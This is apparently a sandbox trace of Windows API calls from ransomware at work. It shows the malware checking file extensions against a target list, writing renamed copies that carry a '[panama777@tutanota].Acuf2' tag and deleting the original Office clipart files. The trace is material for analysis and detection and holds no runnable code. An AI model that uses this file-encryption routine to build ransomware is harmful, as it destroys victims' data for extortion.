	[0263.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63
	[0263.332] lstrlenW (lpString=".doc") returned 4
	[0263.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.332] lstrlenW (lpString=".docx") returned 5
	[0263.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.332] lstrlenW (lpString=".pdf") returned 4
	[0263.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.332] lstrlenW (lpString=".xls") returned 4
	[0263.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.332] lstrlenW (lpString=".xlsx") returned 5
	[0263.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.333] lstrlenW (lpString=".ppt") returned 4
	[0263.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63
	[0263.333] lstrlenW (lpString=".zip") returned 4
	[0263.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.333] lstrlenW (lpString=".rar") returned 4
	[0263.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.333] lstrlenW (lpString=".bz2") returned 4
	[0263.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.333] lstrlenW (lpString=".7z") returned 3
	[0263.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63
	[0263.333] lstrlenW (lpString=".dbf") returned 4
	[0263.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63
	[0263.333] lstrlenW (lpString=".1cd") returned 4
	[0263.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63
	[0263.333] lstrlenW (lpString=".jpg") returned 4
	[0263.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.333] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=896) returned 1
	[0263.334] CloseHandle (hObject=0x29c) returned 1
	[0263.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20
	[0263.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0263.334] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.334] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0263.334] GetLastError () returned 0x0
	[0263.335] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x380, lpOverlapped=0x0) returned 1
	[0263.358] WriteFile (in: hFile=0x270, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x390, lpOverlapped=0x0) returned 1
	[0263.359] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.359] WriteFile (in: hFile=0x270, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.359] SetEndOfFile (hFile=0x270) returned 1
	[0263.359] CloseHandle (hObject=0x270) returned 1
	[0263.359] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.359] SetEndOfFile (hFile=0x29c) returned 1
	[0263.361] CloseHandle (hObject=0x29c) returned 1
	[0263.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1
	[0263.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63
	[0263.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63
	[0263.419] lstrlenW (lpString=".doc") returned 4
	[0263.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.419] lstrlenW (lpString=".docx") returned 5
	[0263.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.419] lstrlenW (lpString=".pdf") returned 4
	[0263.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.419] lstrlenW (lpString=".xls") returned 4
	[0263.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.419] lstrlenW (lpString=".xlsx") returned 5
	[0263.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.419] lstrlenW (lpString=".ppt") returned 4
	[0263.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63
	[0263.419] lstrlenW (lpString=".zip") returned 4
	[0263.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.419] lstrlenW (lpString=".rar") returned 4
	[0263.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.419] lstrlenW (lpString=".bz2") returned 4
	[0263.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.419] lstrlenW (lpString=".7z") returned 3
	[0263.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63
	[0263.420] lstrlenW (lpString=".dbf") returned 4
	[0263.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63
	[0263.420] lstrlenW (lpString=".1cd") returned 4
	[0263.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63
	[0263.420] lstrlenW (lpString=".jpg") returned 4
	[0263.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.774] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=9010) returned 1
	[0263.774] CloseHandle (hObject=0x220) returned 1
	[0263.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20
	[0263.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.775] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.775] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.775] GetLastError () returned 0x0
	[0263.775] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2332, lpOverlapped=0x0) returned 1
	[0263.777] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2340, lpOverlapped=0x0) returned 1
	[0263.778] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.778] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.778] SetEndOfFile (hFile=0x358) returned 1
	[0263.778] CloseHandle (hObject=0x358) returned 1
	[0263.778] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.778] SetEndOfFile (hFile=0x220) returned 1
	[0263.780] CloseHandle (hObject=0x220) returned 1
	[0263.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1
	[0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63
	[0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63
	[0263.781] lstrlenW (lpString=".doc") returned 4
	[0263.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.781] lstrlenW (lpString=".docx") returned 5
	[0263.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.781] lstrlenW (lpString=".pdf") returned 4
	[0263.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.781] lstrlenW (lpString=".xls") returned 4
	[0263.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.781] lstrlenW (lpString=".xlsx") returned 5
	[0263.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.781] lstrlenW (lpString=".ppt") returned 4
	[0263.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63
	[0263.781] lstrlenW (lpString=".zip") returned 4
	[0263.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.781] lstrlenW (lpString=".rar") returned 4
	[0263.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.781] lstrlenW (lpString=".bz2") returned 4
	[0263.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.781] lstrlenW (lpString=".7z") returned 3
	[0263.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63
	[0263.781] lstrlenW (lpString=".dbf") returned 4
	[0263.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63
	[0263.781] lstrlenW (lpString=".1cd") returned 4
	[0263.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63
	[0263.781] lstrlenW (lpString=".jpg") returned 4
	[0263.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.782] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2188) returned 1
	[0263.782] CloseHandle (hObject=0x220) returned 1
	[0263.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20
	[0263.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.782] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.782] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.783] GetLastError () returned 0x0
	[0263.783] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x88c, lpOverlapped=0x0) returned 1
	[0263.784] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x890, lpOverlapped=0x0) returned 1
	[0263.785] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.785] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.785] SetEndOfFile (hFile=0x358) returned 1
	[0263.785] CloseHandle (hObject=0x358) returned 1
	[0263.785] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.785] SetEndOfFile (hFile=0x220) returned 1
	[0263.787] CloseHandle (hObject=0x220) returned 1
	[0263.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1
	[0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63
	[0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63
	[0263.788] lstrlenW (lpString=".doc") returned 4
	[0263.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.788] lstrlenW (lpString=".docx") returned 5
	[0263.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.788] lstrlenW (lpString=".pdf") returned 4
	[0263.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.788] lstrlenW (lpString=".xls") returned 4
	[0263.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.788] lstrlenW (lpString=".xlsx") returned 5
	[0263.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.788] lstrlenW (lpString=".ppt") returned 4
	[0263.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63
	[0263.788] lstrlenW (lpString=".zip") returned 4
	[0263.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.788] lstrlenW (lpString=".rar") returned 4
	[0263.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.788] lstrlenW (lpString=".bz2") returned 4
	[0263.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.788] lstrlenW (lpString=".7z") returned 3
	[0263.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63
	[0263.788] lstrlenW (lpString=".dbf") returned 4
	[0263.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63
	[0263.789] lstrlenW (lpString=".1cd") returned 4
	[0263.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63
	[0263.789] lstrlenW (lpString=".jpg") returned 4
	[0263.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.789] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4396) returned 1
	[0263.789] CloseHandle (hObject=0x220) returned 1
	[0263.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20
	[0263.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.789] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.789] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.790] GetLastError () returned 0x0
	[0263.790] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x112c, lpOverlapped=0x0) returned 1
	[0263.791] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1130, lpOverlapped=0x0) returned 1
	[0263.792] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.792] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.792] SetEndOfFile (hFile=0x358) returned 1
	[0263.792] CloseHandle (hObject=0x358) returned 1
	[0263.792] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.792] SetEndOfFile (hFile=0x220) returned 1
	[0263.794] CloseHandle (hObject=0x220) returned 1
	[0263.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1
	[0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63
	[0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63
	[0263.795] lstrlenW (lpString=".doc") returned 4
	[0263.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.795] lstrlenW (lpString=".docx") returned 5
	[0263.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.795] lstrlenW (lpString=".pdf") returned 4
	[0263.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.795] lstrlenW (lpString=".xls") returned 4
	[0263.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.795] lstrlenW (lpString=".xlsx") returned 5
	[0263.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.795] lstrlenW (lpString=".ppt") returned 4
	[0263.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63
	[0263.795] lstrlenW (lpString=".zip") returned 4
	[0263.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.795] lstrlenW (lpString=".rar") returned 4
	[0263.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.795] lstrlenW (lpString=".bz2") returned 4
	[0263.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.796] lstrlenW (lpString=".7z") returned 3
	[0263.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63
	[0263.796] lstrlenW (lpString=".dbf") returned 4
	[0263.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63
	[0263.796] lstrlenW (lpString=".1cd") returned 4
	[0263.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63
	[0263.796] lstrlenW (lpString=".jpg") returned 4
	[0263.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.796] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3696) returned 1
	[0263.796] CloseHandle (hObject=0x220) returned 1
	[0263.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20
